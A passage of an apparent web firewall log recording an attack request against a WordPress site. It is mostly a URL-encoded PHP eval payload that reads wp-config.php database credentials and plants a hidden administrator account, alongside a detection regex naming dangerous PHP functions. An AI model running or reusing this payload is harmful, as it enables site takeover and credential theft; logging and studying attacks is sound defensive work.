%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 05:36:51","213.209.159.254","POST","\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cmgIbF:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php HTTP\/1.1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:12663\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\naccept:*\/*\n\ncmgIbF=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%